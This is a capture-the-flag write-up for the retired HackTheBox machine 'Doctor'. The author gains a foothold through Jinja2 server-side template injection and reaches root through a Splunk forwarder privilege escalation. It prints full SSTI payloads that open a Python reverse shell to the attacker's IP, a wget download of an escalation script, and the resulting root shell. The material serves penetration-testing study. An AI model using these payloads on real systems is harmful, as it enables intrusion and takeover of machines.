HTB: Doctor
Posted on 07 Feb 2021 in security • 5 min read
This is a writeup about a retired HacktheBox machine: Doctor created by egotisticalSW and publish on September 26, 2020. This box is classified as an easy machine. The user part implied a server side template injection and finding a needle in a haystack. The root part required to use a Splunk exploit to elevate our privileges.
User
Recon
We start with an nmap scan. Only the ports 22 (SSH), 80 (HTTP) and 8080 (splunk web interface) are open.
# Nmap 7.80 scan initiated Mon Sep 28 06:35:31 2020 as: nmap -p- -oN nmap -sSV 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.077s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 28 06:37:56 2020 -- 1 IP address (1 host up) scanned in 145.15 seconds
Web - port 8089
On the port 8089 we have a splunk running (as found by nmap) but we don't have access to the different function as we don't know any credentials.
An access to this function will have allowed us to have a remote code execution on the server or allowed us to elevate our privileges on the box.
Web - port 80
The website is about healthcare and doctors. We also see an email contact address on the front page with the domain doctors.htb (note the s at the end).
We had the domain to /etc/hosts
and browse to it. The website is a "secure"
messaging application with a self sign-in function.
We create an account and post a message.
When looking at the page source code we found a comment about the archive
function:
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
SSTI
We check for common vulnerabilities and found out that the application is
vulnerable to server side template injection
in the title as when our title is {{7*7}}
when can see the operation result
(49) in the archive.
We can use this injection to execute command on the system.
After a few test we know that python is on the box and can run a few commands.
The payload below runs id
.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/id\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
We (obviously) run a netcat listener to catch the command's output.
kali@kali:~/pown/htb_doctor$ nc -l -p 4444
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
We then go for a reverse shell with the following payload be careful with the quotes and escaped quotes).
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn(\"/bin/bash\");'").read().zfill(417)}}{%endif%}{% endfor %}
That allow us to get a reverse shell on the box.
Enumeration
After a lot of enumeration both
manually
and using tools as
linPEAS
we found out that there is backup
file in /var/log/apache2
containing a call
to the password reset function but the user put its password instead of its
email.
web@doctor:/var/log/apache2$ grep password backup
grep password backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
That password allow us to connect as shaun
using the switch user su
command
and get the user flag.
web@doctor:/var/log/apache2$ su shaun
su shaun
Password: Guitar123
shaun@doctor:/var/log/apache2$ cat /home/shaun/user.txt
cat /home/shaun/user.txt
2b14d9d9ff996cfb2e4fb96e6db82631
Root
Now that we have a username and a password we can try them against the Splunk service. And they are working!
We transfer the script mentioned above
to the box using python -m http.server
on our kali box.
shaun@doctor:/tmp$ wget 10.10.14.121:8000/spelunker.sh
wget 10.10.14.121:8000/spelunker.sh
--2020-09-29 11:22:03-- http://10.10.14.121:8000/spelunker.sh
Connecting to 10.10.14.121:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2503 (2,4K) [text/x-sh]
Saving to: ‘spelunker.sh.1’
spelunker.sh.1 100%[===================>] 2,44K --.-KB/s in 0s
2020-09-29 11:22:03 (254 MB/s) - ‘spelunker.sh.1’ saved [2503/2503]
Then, we give the execution permission to the script and run it.
shaun@doctor:/tmp$ chmod +x spelunker.sh.1
chmod +x spelunker.sh.1
shaun@doctor:/tmp$ ./spelunker.sh.1
./spelunker.sh.1
[!] SPLUNK LOCAL PRIVESC [!]
[!] This tool assumes the creds are admin:changeme
[!] and the port is 8089
[*] Creating a tmp workspace and moving there...
[*] Creating the splunk app...
[*] Creating the payload...
Tarballing the App and removing temp files...
./APPY/
./APPY/bin/
./APPY/bin/pay.sh
./APPY/local/
./APPY/local/inputs.conf
[*] App should be created...
[*] Installing the malicious splunk app....
HTTP/1.1 201 Created
Date: Tue, 29 Sep 2020 09:22:31 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 4342
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
<title>localapps</title>
<id>https://127.0.0.1:8089/services/apps/local</id>
<updated>2020-09-29T11:22:31+02:00</updated>
<generator build="a1a6394cc5ae" version="8.0.5"/>
<author>
<name>Splunk</name>
</author>
<link href="/services/apps/local/_new" rel="create"/>
<link href="/services/apps/local/_reload" rel="_reload"/>
<opensearch:totalResults>1</opensearch:totalResults>
<opensearch:itemsPerPage>30</opensearch:itemsPerPage>
<opensearch:startIndex>0</opensearch:startIndex>
<s:messages/>
<entry>
<title>APPY</title>
<id>https://127.0.0.1:8089/servicesNS/nobody/system/apps/local/APPY</id>
<updated>1970-01-01T01:00:00+01:00</updated>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="alternate"/>
<author>
<name>nobody</name>
</author>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="list"/>
<link href="/servicesNS/nobody/system/apps/local/APPY/_reload" rel="_reload"/>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="edit"/>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="remove"/>
<link href="/servicesNS/nobody/system/apps/local/APPY/package" rel="package"/>
<content type="text/xml">
<s:dict>
<s:key name="check_for_updates">1</s:key>
<s:key name="configured">0</s:key>
<s:key name="core">0</s:key>
<s:key name="disabled">0</s:key>
<s:key name="eai:acl">
<s:dict>
<s:key name="app">system</s:key>
<s:key name="can_change_perms">1</s:key>
<s:key name="can_list">1</s:key>
<s:key name="can_share_app">1</s:key>
<s:key name="can_share_global">1</s:key>
<s:key name="can_share_user">0</s:key>
<s:key name="can_write">1</s:key>
<s:key name="modifiable">1</s:key>
<s:key name="owner">nobody</s:key>
<s:key name="perms">
<s:dict>
<s:key name="read">
<s:list>
<s:item>*</s:item>
</s:list>
</s:key>
<s:key name="write">
<s:list>
<s:item>*</s:item>
</s:list>
</s:key>
</s:dict>
</s:key>
<s:key name="removable">0</s:key>
<s:key name="sharing">app</s:key>
</s:dict>
</s:key>
<s:key name="install_source_checksum">3d642ab909020d9844b47dbf1a38c77cf7b9e0a0</s:key>
<s:key name="label">APPY</s:key>
<s:key name="location">/opt/splunkforwarder/etc/apps/APPY</s:key>
<s:key name="managed_by_deployment_client">0</s:key>
<s:key name="name">APPY</s:key>
<s:key name="show_in_nav">1</s:key>
<s:key name="source_location">/opt/splunkforwarder/etc/apps/APPY</s:key>
<s:key name="state_change_requires_restart">0</s:key>
<s:key name="status">installed</s:key>
<s:key name="visible">0</s:key>
</s:dict>
</content>
</entry>
</feed>
[*] Removing the malicious splunk app...
HTTP/1.1 200 OK
Date: Tue, 29 Sep 2020 09:22:44 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 1797
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd
<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
<title>localapps</title>
<id>https://127.0.0.1:8089/services/apps/local</id>
<updated>2020-09-29T11:22:44+02:00</updated>
<generator build="a1a6394cc5ae" version="8.0.5"/>
<author>
<name>Splunk</name>
</author>
<link href="/services/apps/local/_new" rel="create"/>
<link href="/services/apps/local/_reload" rel="_reload"/>
<opensearch:totalResults>0</opensearch:totalResults>
<opensearch:itemsPerPage>30</opensearch:itemsPerPage>
<opensearch:startIndex>0</opensearch:startIndex>
<s:messages/>
</feed>
[!] If all went well run /tmp/.tester/bin/shdoor -p for a root shell
[!] Run whoami if your prompt didn't change...
[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]
We then run the binary shdoor
and get a root shell allowing us to retrive the
root flag.
shaun@doctor:/tmp$ /tmp/.tester/bin/shdoor -p
/tmp/.tester/bin/shdoor -p
# id
id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
# cat /root/root.txt
cat /root/root.txt
d32cd0d4b24856